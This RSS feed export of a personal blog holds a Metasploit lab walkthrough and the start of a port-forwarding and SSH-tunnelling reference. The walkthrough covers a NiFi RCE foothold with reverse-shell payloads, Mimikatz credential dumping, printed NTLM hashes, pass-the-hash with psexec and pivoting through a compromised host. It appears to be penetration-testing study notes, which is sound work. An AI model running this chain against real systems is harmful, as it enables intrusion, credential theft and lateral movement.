<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[emdeh’s Substack]]></title><description><![CDATA[My personal Substack]]></description><link>https://www.emdeh.com</link><image><url>https://substackcdn.com/image/fetch/$s_!ZFh2!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e3ab64a-692c-4b46-903b-f8cbe66d9aba_144x144.png</url><title>emdeh’s Substack</title><link>https://www.emdeh.com</link></image><generator>Substack</generator><lastBuildDate>Tue, 18 Aug 2026 12:19:58 GMT</lastBuildDate><atom:link href="https://www.emdeh.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[emdeh]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[emdeh@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[emdeh@substack.com]]></itunes:email><itunes:name><![CDATA[emdeh]]></itunes:name></itunes:owner><itunes:author><![CDATA[emdeh]]></itunes:author><googleplay:owner><![CDATA[emdeh@substack.com]]></googleplay:owner><googleplay:email><![CDATA[emdeh@substack.com]]></googleplay:email><googleplay:author><![CDATA[emdeh]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[The Metasploit article]]></title><description><![CDATA[Making it stick by writing it down.]]></description><link>https://www.emdeh.com/p/the-metasploit-article</link><guid isPermaLink="false">https://www.emdeh.com/p/the-metasploit-article</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Wed, 29 Jul 2026 05:32:45 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/660afe88-6b72-4ea3-8eee-0966741dbcb5_1200x675.svg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The best way I&#8217;ve found to make Metasploit stick is to practice with it as if you&#8217;re using it on an actual engagement. Recently, some coursework with a two-box Windows lab provided the opportunity to do just that.</p><p><strong>Scope:</strong> Two Windows hosts on the same internal segment:</p><ul><li><p><strong>WK03</strong> (192.168.124.225)</p></li><li><p><strong>WK04</strong> (192.168.124.226). </p></li></ul><p>The Kali box is at 192.168.45.165 (<code>tun0</code>).</p><div><hr></div><h2>1. Start with a workspace, not a mess</h2><p>Before doing anything, create a workspace. Everything Metasploit discovers- hosts, services, creds, loot- gets written to its database, and workspaces keep one engagement&#8217;s data separated from others. First, make sure the database is connected, then create a new workspace:</p><pre><code><code>msf6 &gt; db_status
[*] Connected to msf. Connection type: postgresql.

msf6 &gt; workspace -a itwk_lab
[*] Added workspace: itwk_lab
[*] Workspace: itwk_lab
</code></code></pre><p>If <code>db_status</code> says you&#8217;re <em>not</em> connected, exit, run <code>sudo msfdb init</code> once, and relaunch.</p><h2>2. Scan straight into the database</h2><p>Make use of the <code>db_</code> wrapper on nmap so results persist in the workspace:</p><pre><code><code>msf6 &gt; db_nmap -sV -p- 192.168.124.225 192.168.124.226</code></code></pre><p>With that, you can query what came back from the database and easily reference it later rather than re-reading raw output. Database commands like <code>services</code> and <code>hosts</code> are your friends here:</p><pre><code><code>msf6 &gt; services
host             port  proto  name          info
----             ----  -----  ----          ----
192.168.124.225  135   tcp    msrpc         Microsoft Windows RPC
192.168.124.225  139   tcp    netbios-ssn
192.168.124.225  445   tcp    microsoft-ds
192.168.124.225  5985  tcp    http          Microsoft HTTPAPI httpd 2.0
192.168.124.225  5986  tcp    ssl/wsmans
192.168.124.225  8080  tcp    http          Jetty 9.4.48.v20220622
192.168.124.226  135   tcp    msrpc         Microsoft Windows RPC
192.168.124.226  139   tcp    netbios-ssn
192.168.124.226  445   tcp    microsoft-ds
192.168.124.226  5985  tcp    http          Microsoft HTTPAPI httpd 2.0
192.168.124.226  5986  tcp    ssl/wsmans
</code></code></pre><p>The two hosts scanned are near-identical with a typical Windows management surface (RPC, NetBIOS, SMB, WinRM). Except <strong>WK03</strong> has one extra thing: something on port 8080 behind Jetty. Asymmetry like that is nearly always the entry point (for labs, at least). In any event, enumeration is as much about noticing what&#8217;s <em>different</em> as cataloguing what&#8217;s there.</p><blockquote><p><em>Quick trick</em>: most database commands can populate <code>RHOSTS</code> for you. For example, <code>services -p 8080 --rhosts</code> sets <code>RHOSTS</code> to every host with 8080 open, so you save time typing target IPs you&#8217;ve already discovered.</p></blockquote><h2>3. Land the foothold</h2><p>On to the foothold. Jetty is just an embedded servlet container, so it isn&#8217;t the target in and of itself; the app running on top of it is. Browsing to http://192.168.124.225:8080 redirects to <code>/nifi</code>, an Apache NiFi instance. To fingerprint the version of NiFi, you can query this endpoint:</p><pre><code><code>curl -sk http://192.168.124.225:8080/nifi-api/flow/about</code></code></pre><p>From there, we can start searching for potentially relevant modules. This part, like any enumeration, is cyclical: <em>search, read, check, run.</em></p><pre><code><code>msf6 &gt; search nifi
msf6 &gt; use exploit/multi/http/apache_nifi_processor_rce
msf6 exploit(...) &gt; info
...</code></code></pre><p>It&#8217;s worth not skipping the <code>info</code> step here. It will often reveal crucial information to stop you from heading down the wrong path. In this instance, one thing mattered quite a bit. The module splits &#8220;<strong>available targets&#8221; </strong>by OS. This is a Windows host, but the module sets the default to Unix and it is not immediately clear from the <code>show options</code> page that this can be switched. To switch to Windows run <code>set target 1</code>.</p><pre><code><code>msf6 exploit(...) &gt; services -p 8080 --rhosts 
msf6 exploit(...) &gt; set RPORT 8080
msf6 exploit(...) &gt; set target 1
msf6 exploit(...) &gt; check
[+] The target appears to be vulnerable.
</code></code></pre><h3>Staged vs. non-staged payloads</h3><p>A quick aside on payloads. Metasploit payloads come either <strong>staged </strong>or <strong>non-staged.</strong> </p><p><strong>Staged means</strong> a small stager is sent that connects back to the attacking machine and then pulls the rest of the payload into memory. These are denoted with &#8220;/shell/ in the module paths: <code>.../shell/reverse_tcp</code>).</p><p><strong>Non-staged</strong>, on the other hand, sends everything in one shot and these are written with an &#8220;shell_&#8221; in the module path: <code>.../shell_reverse_tcp</code>). </p><p>Staged is smaller and squeezes into tight exploits; non-staged is chunkier but more reliable when space isn&#8217;t the constraint. For a roomy web RCE, either is fine:</p><pre><code><code>msf6 exploit(...) &gt; set payload windows/x64/shell/reverse_tcp
msf6 exploit(...) &gt; set LHOST tun0
msf6 exploit(...) &gt; set LPORT 4444
msf6 exploit(...) &gt; run
[*] Command shell session 1 opened</code></code></pre><blockquote><p>Setting <code>LHOST</code> to the interface name (<code>tun0</code>) rather than a hard IP is a nice habit; it survives your VPN address changing.</p></blockquote><h2>4. Sessions and jobs (and the channels hiding inside them)</h2><p>You now have a session. Three related ideas are worth keeping straight here because they are easy to conflate.</p><p><strong>Sessions</strong> are the top-level footholds, generally one per compromised host, each its own connection:</p><pre><code><code>msf6 &gt; sessions -l               # list
msf6 &gt; sessions -i 1             # interact with session 1
msf6 &gt; sessions -k 1             # kill it</code></code></pre><p>That NiFi RCE landed a raw command shell, not Meterpreter. Almost every post-exploitation module needs Meterpreter, so it will need to be upgraded:</p><pre><code><code>msf6 &gt; sessions -u 1
[*] Meterpreter session 2 opened</code></code></pre><p><strong>Jobs</strong> are things running in the background, like listeners. Exploits or handlers can be launched with the tag <code>-j</code> and it will run in the background and return your prompt straight away so you can get on with other things while you wait:</p><pre><code><code>msf6 exploit(...) &gt; run -j
msf6 &gt; jobs                      # list background jobs</code></code></pre><p><strong>Channels</strong> live <em>inside</em> a single Meterpreter session. Meterpreter multiplexes several streams over one connection. When you drop into a shell from Meterpreter, background it, and open another, those are channels within the one session, not new sessions:</p><pre><code><code>meterpreter &gt; shell
Process 4120 created. Channel 1 created.
^Z
Background channel 1? [y/N]  y
meterpreter &gt; channel -l         # list channels in this session
meterpreter &gt; channel -i 1       # re-enter channel 1</code></code></pre><p>The mental model: </p><ul><li><p><em>session</em> = a whole compromised host;</p></li><li><p><em>channel</em> = one stream of activity within a session;</p></li><li><p><em>job</em> = something ticking away in the background of the console.</p></li></ul><h2>5. Know who you are</h2><p>Post-exploitation starts with orientation. Who am I, and what can I do?</p><pre><code><code>meterpreter &gt; getuid
Server username: WK03\alex

meterpreter &gt; getprivs
...
SeImpersonatePrivilege
...</code></code></pre><p><code>alex</code> is a normal account, not SYSTEM, so we cannot read the SAM yet. But that privilege, <code>SeImpersonatePrivilege</code>, means the account can impersonate a token handed to a process it controls, which is a privilege escalation path to become SYSTEM. Spotting that one line is worth more than any scanner.</p><p>But let&#8217;s try the free option first:</p><pre><code><code>meterpreter &gt; getsystem</code></code></pre><blockquote><p><code>getsystem</code> leans on named-pipe impersonation and I imagine would often come up empty on a patched box. But for the purposes of this post, it&#8217;s fine.</p></blockquote><p>Two other Meterpreter moves are worth keeping in mind in terms of maintaining persistence and escalating privileges. </p><p>First, <code>migrate</code> moves your payload into another process, which is helpful if the one you exploited closes or looks suspicious to a defender hunting you and reviewing process lists.</p><p>Secondly, <code>execute</code> spawns a fresh process to migrate into if nothing suitable exists. The following command executes notepad but hides it from the user interface to create a new process for migration:</p><pre><code><code>meterpreter &gt; execute -H -f notepad.exe
Process 5200 created.
meterpreter &gt; migrate 5200</code></code></pre><blockquote><p>You can only migrate into a process at your integrity level or lower, so do this <em>after</em> you&#8217;re SYSTEM and your options open right up.</p></blockquote><h2>6. Loot the box</h2><p>As SYSTEM, we can load the <strong>kiwi</strong> extension (i.e., Meterpreter&#8217;s Mimikatz) and pull what&#8217;s in memory:</p><pre><code><code>meterpreter &gt; load kiwi
meterpreter &gt; creds_all          # everything it can parse
meterpreter &gt; lsa_dump_secrets   # LSA secrets, where svc-account creds might be
meterpreter &gt; lsa_dump_sam       # local account hashes from the SAM</code></code></pre><ul><li><p><code>creds_all</code> reads from LSASS process memory, so it will aggregate credentials for logged in or recently logged in users.</p></li><li><p><code>lsa_dump_secrets</code> reads the SECURITY hive, which can reveal service account passwords and cached domain credentials via the related <code>lsa_dump_cache</code>.</p></li><li><p><code>lsa_dump_sam</code> reads the SAM hive and gives you NTLM hashes for local accounts, including accounts that have never logged in interactively.</p></li></ul><p>For a Metasploit database-integrated way to grab the SAM hashes, consider using <code>&#8230;/smart_hashdump</code>:</p><pre><code><code>meterpreter &gt; bg
msf6 &gt; use post/windows/gather/smart_hashdump
msf6 post(...) &gt; set SESSION 2
msf6 post(...) &gt; run</code></code></pre><ul><li><p><code>smart_hashdump</code> essentially does the same thing as <code>lsa_dump_sam</code> but with the added feature of writing results straight into the database. </p></li></ul><blockquote><p>It&#8217;s also worth noting that point is only true on a <em>member</em> host. On a Domain Controller, there is no meaningful local SAM so <code>smart_hashdump</code> will pull domain hashes from <code>NTDS.dit</code>. That&#8217;s something <code>lsa_dump_sam</code> from <strong>kiwi</strong> can't do. </p></blockquote><p>From here, you can read the table back:</p><pre><code><code>msf6 &gt; creds
public          private                                                            realm   private_type
------          -------                                                            -----   ------------
cloudbase-init  aad3b435b51404eeaad3b435b51404ee:fb056ea1f139dcf620c9bec859fe0f22  WK03  NTLM hash
wk04admin     aad3b435b51404eeaad3b435b51404ee:445414c16b5689513d4ad8234391aacf  WK03  NTLM hash
alex            aad3b435b51404eeaad3b435b51404ee:5391f1724568f48a4aadba748109864c  WK03  NTLM hash
Administrator   aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0          NTLM hash</code></code></pre><p>Reading a creds is, itself, a skill. Two of these are noise: </p><ul><li><p><strong>Administrator&#8217;s</strong> NT hash is <code>31d6...089c0</code>, which is a well-known hash of an <em>empty</em> password, so that account is blank or disabled and useless; and </p></li><li><p><strong>alex</strong> is just the account you already owned. </p></li><li><p><strong>cloudbase-init</strong> is a cloud-provisioning artefact. </p></li></ul><p>The one that matters is <strong>wk04admin</strong>. The name is a breadcrumb; it&#8217;s the admin account destined for the <em>other</em> box. If we check <code>systeminfo</code> on the current compromised machine, we see it is denoted with <code>wk03</code>.</p><p>Two places your loot lives, which can easily be conflated:</p><ul><li><p>The <strong>creds</strong> table is the structured, query-able set, for things like hosts, usernames, hashes, and cracked plaintext secrets once you have it.</p></li><li><p>The <strong>loot</strong> directory (files under <code>~/.msf4/loot/</code>) holds the raw artefacts, SAM and secrets dumps from kiwi.</p></li></ul><p>Be aware that the kiwi commands print to your console but don&#8217;t always push into the <code>creds</code> table, whereas <code>smart_hashdump</code> does. So run <code>creds</code> and confirm what actually landed before you rely on it.</p><h2>7. Reuse to the second box</h2><p><strong>wk04admin&#8217;s</strong> hash is the key to <strong>WK04</strong>. Before going gun&#8217;s blazing, validate it actually authenticates on that target with a scanner:</p><pre><code><code>msf6 &gt; use auxiliary/scanner/smb/smb_login
msf6 auxiliary(...) &gt; set RHOSTS 192.168.124.226
msf6 auxiliary(...) &gt; set SMBUser wk04admin
msf6 auxiliary(...) &gt; set SMBPass aad3b435b51404eeaad3b435b51404ee:445414c16b5689513d4ad8234391aacf
msf6 auxiliary(...) &gt; set SMBDomain .
msf6 auxiliary(...) &gt; run
[+] 192.168.124.226:445 - Success: '.\wk04admin:...'</code></code></pre><p>The <code>SMBDomain .</code> matters here. The dot means &#8220;authenticate this account as local to the target,&#8221; which is what you want against standalone workstations rather than a domain. The full hash can be passed directly so no cracking is needed, because NTLM auth accepts the hash (i.e., pass-the-hash).</p><p>Keep in mind that a successful <code>smb_login</code> gives you an <strong>SMB session</strong>, <em><strong>not a shell</strong></em>. It&#8217;s proof the hash works, and you can browse shares, but it isn&#8217;t command execution. To actually own the box, in this case, use <code>psexec</code>:</p><pre><code><code>msf6 &gt; use exploit/windows/smb/psexec
msf6 exploit(...) &gt; set RHOSTS 192.168.124.226
msf6 exploit(...) &gt; set SMBUser wk04admin
msf6 exploit(...) &gt; set SMBPass aad3b435b51404eeaad3b435b51404ee:445414c16b5689513d4ad8234391aacf
msf6 exploit(...) &gt; set SMBDomain .
msf6 exploit(...) &gt; set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) &gt; set LHOST tun0
msf6 exploit(...) &gt; set LPORT 4455
msf6 exploit(...) &gt; run
[*] Meterpreter session 4 opened   (NT AUTHORITY\SYSTEM @ WK04)</code></code></pre><p>Don&#8217;t forget to update <code>LPORT</code> to avoid colliding with the handler still tied to your <strong>WK03</strong> session. And because <code>wk04admin</code> is an administrator, <code>psexec</code> drops straight into a SYSTEM context.</p><h2>8. Going deeper: pivoting</h2><p>This lab was two flat boxes on the same segment, so no pivoting was needed. But if a target were to be hiding <em>behind</em> a foothold, on a network you can&#8217;t route to, a session is then the doorway.</p><p><code>autoroute</code> teaches the framework to route an internal subnet, say <code>10.10.20.0/24</code>, through your foothold:</p><pre><code><code>msf6 &gt; use post/multi/manage/autoroute
msf6 post(...) &gt; set SESSION 4
msf6 post(...) &gt; run</code></code></pre><p>Metasploit&#8217;s own modules can then reach that subnet. For <em>external</em> tools, stand up a SOCKS proxy and point proxychains at it (same idea as discussed in <a href="https://www.emdeh.com/p/port-forwarding-and-ssh-tunneling">Port Forwarding &amp; SSH Tunneling</a>.</p><pre><code><code>msf6 &gt; use auxiliary/server/socks_proxy
msf6 auxiliary(...) &gt; set SRVHOST 127.0.0.1
msf6 auxiliary(...) &gt; set VERSION 5
msf6 auxiliary(...) &gt; run -j</code></code></pre><p>With <code>socks5 127.0.0.1 1080</code> in <code>/etc/proxychains4.conf</code>, anything can flow through the tunnel (e.g., <code>sudo proxychains xfreerdp /v:10.10.20.40 /u:...</code>). </p><p>For a single port instead of a whole subnet, <code>portfwd</code> from inside the session is lighter:</p><pre><code><code>meterpreter &gt; portfwd add -l 3389 -p 3389 -r 10.10.20.40</code></code></pre><blockquote><p>One trap: a route only carries an <em>already-established</em> connection. If you exploit something through the pivot and want a session back, <strong>a reverse payload usually can&#8217;t find its way home</strong> because the deeper target has no route to you. With this in mind, <strong>use a bind payload</strong> (<code>windows/x64/meterpreter/bind_tcp</code>) in those situations so <em>you</em> connect <em>in</em> over the route.</p></blockquote><p></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.emdeh.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.emdeh.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Port Forwarding & SSH Tunneling]]></title><description><![CDATA[A Pivoting Quick Reference]]></description><link>https://www.emdeh.com/p/port-forwarding-and-ssh-tunneling</link><guid isPermaLink="false">https://www.emdeh.com/p/port-forwarding-and-ssh-tunneling</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Fri, 24 Jul 2026 05:02:04 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/1dd5e827-6ea4-4d67-bc46-60999747cd3f_2760x1580.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If, like me, you&#8217;ve ever stared at an <code>ssh -R</code> command and asked, &#8220;Wait, which side is listening again?&#8221; then read on. Port forwarding techniques all do the same basic thing (move traffic from A to B through some intermediary), but they differ in <strong>where the listening port lives</strong> and <strong>which direction traffic gets pushed</strong>. Get that straight, and the syntax starts making sense.</p><h2>The one idea that fixes most of the confusion</h2><p>Every forwarding setup has three roles:</p><ul><li><p><strong>Listener</strong>: the socket that <em>receives</em> the initial connection. Something connects <em>to</em> it.</p></li><li><p><strong>Forwarder</strong>: the process that takes what hits the listener and pushes it somewhere else.</p></li><li><p><strong>Destination</strong>: the final service you actually want to talk to (a database, RDP, SMB, etc.).</p></li></ul><p>The trap is assuming the listener is always on your local machine, or always on the target. This isn&#8217;t the case. In SSH tunnelling specifically, the SSH <strong>client</strong> and SSH <strong>server</strong> roles are about who initiated the SSH connection, and that is <em>independent</em> of which of them ends up hosting the listening port. Local vs. remote forwarding is entirely about that pairing. Once you interrogate &#8220;who is the SSH client here, who is the SSH server, and which one is listening,&#8221; the rest is just filling in IP: port pairs correctly.</p><h2>Scenario setup</h2><p>Assume a foothold on a compromised app server we&#8217;ll call <strong>JUMPBOX01</strong> (192.168.60.50), sitting between our Kali machine (192.168.120.5) and a database host on an internal segment, <strong>DBHOST02</strong> (10.10.20.30), which is only reachable from <strong>JUMPBOX01</strong>.</p><div><hr></div><h2>1. Socat &#8212; dumbest, fastest port forward</h2><p>No SSH involved - relays TCP. Run this on the intermediary host (<strong>JUMPBOX01</strong>):</p><pre><code><code>socat -ddd TCP-LISTEN:2345,fork TCP:10.10.20.30:5432</code></code></pre><ul><li><p>Listener: port 2345 on <strong>JUMPBOX01</strong>.</p></li><li><p>Forwarder: socat itself.</p></li><li><p>Destination: port 5432 (Postgres) on <strong>DBHOST02</strong>.</p></li></ul><p>From Kali, connect to <strong>JUMPBOX01</strong>&#8217;s IP on the listening port, and it&#8217;s transparently pushed to <strong>DBHOST02</strong>:</p><pre><code><code>psql -h 192.168.60.50 -p 2345 -U postgres</code></code></pre><p>Good for a quick, disposable relay but is weak on stealth. An odd listening port is easy to spot with basic monitoring, so it&#8217;s more suited to noisy, time-boxed lab work than an actual engagement.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vnQg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vnQg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png 424w, https://substackcdn.com/image/fetch/$s_!vnQg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png 848w, https://substackcdn.com/image/fetch/$s_!vnQg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png 1272w, https://substackcdn.com/image/fetch/$s_!vnQg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vnQg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png" width="818" height="308" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/da27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:308,&quot;width&quot;:818,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:45894,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.emdeh.com/i/208162860?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!vnQg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png 424w, https://substackcdn.com/image/fetch/$s_!vnQg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png 848w, https://substackcdn.com/image/fetch/$s_!vnQg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png 1272w, https://substackcdn.com/image/fetch/$s_!vnQg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda27c9c7-c54b-4840-a9b6-87c1d880297d_818x308.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>2. SSH Local Port Forwarding (<code>-L</code>)</h2><p><strong>Mental model:</strong> &#8220;I (the SSH client) want to open <em>my door</em> that tunnels to something the SSH server can reach.&#8221;</p><p>Syntax:</p><pre><code><code>ssh -N -L [LISTEN_IP:]LISTEN_PORT:DEST_IP:DEST_PORT user@SSH_SERVER</code></code></pre><ul><li><p>The listener binds on the <strong>SSH client</strong> machine.</p></li><li><p>Traffic goes: client listener &#8594; tunnel &#8594; SSH server &#8594; destination.</p></li></ul><p>Say we&#8217;re SSH&#8217;d from <strong>JUMPBOX01</strong> out to <strong>DBHOST02</strong> (DBHOST02 is the SSH server here), and we&#8217;ve found a third host, <strong>FILESRV03</strong> (172.20.10.40), reachable only from <strong>DBHOST02</strong> with SMB open on 445:</p><pre><code><code>ssh -N -L 0.0.0.0:4455:172.20.10.40:445 svc_admin@10.10.20.30</code></code></pre><p>The way I like to think of this is: &#8220;<em>from </em>0.0.0.0:4455, <em>via </em>svc_admin@10.10.20.30, <em>to </em>172.20.10.40:445&#8221;.</p><p>From Kali, connect to <strong>JUMPBOX01</strong>&#8217;s IP on the listener port, and the traffic will be tunnelled through to <strong>DBHOST02</strong> and pushed to <strong>FILESRV03</strong> on port 445:</p><pre><code><code>smbclient //192.168.60.50/share -p 4455</code></code></pre><p><strong>When to use it:</strong> you know exactly one destination socket you want to reach, and you&#8217;re fine opening just that one door.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Vn1p!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb48d5636-deae-4116-b009-c5d081b90550_821x312.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Vn1p!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb48d5636-deae-4116-b009-c5d081b90550_821x312.png 424w, https://substackcdn.com/image/fetch/$s_!Vn1p!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb48d5636-deae-4116-b009-c5d081b90550_821x312.png 848w, https://substackcdn.com/image/fetch/$s_!Vn1p!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb48d5636-deae-4116-b009-c5d081b90550_821x312.png 1272w, https://substackcdn.com/image/fetch/$s_!Vn1p!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb48d5636-deae-4116-b009-c5d081b90550_821x312.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Vn1p!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb48d5636-deae-4116-b009-c5d081b90550_821x312.png" width="821" height="312" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b48d5636-deae-4116-b009-c5d081b90550_821x312.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:312,&quot;width&quot;:821,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:60062,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.emdeh.com/i/208162860?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb48d5636-deae-4116-b009-c5d081b90550_821x312.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Vn1p!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb48d5636-deae-4116-b009-c5d081b90550_821x312.png 424w, https://substackcdn.com/image/fetch/$s_!Vn1p!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb48d5636-deae-4116-b009-c5d081b90550_821x312.png 848w, https://substackcdn.com/image/fetch/$s_!Vn1p!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb48d5636-deae-4116-b009-c5d081b90550_821x312.png 1272w, https://substackcdn.com/image/fetch/$s_!Vn1p!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb48d5636-deae-4116-b009-c5d081b90550_821x312.png 1456w" sizes="100vw" loading="lazy"></picture><div 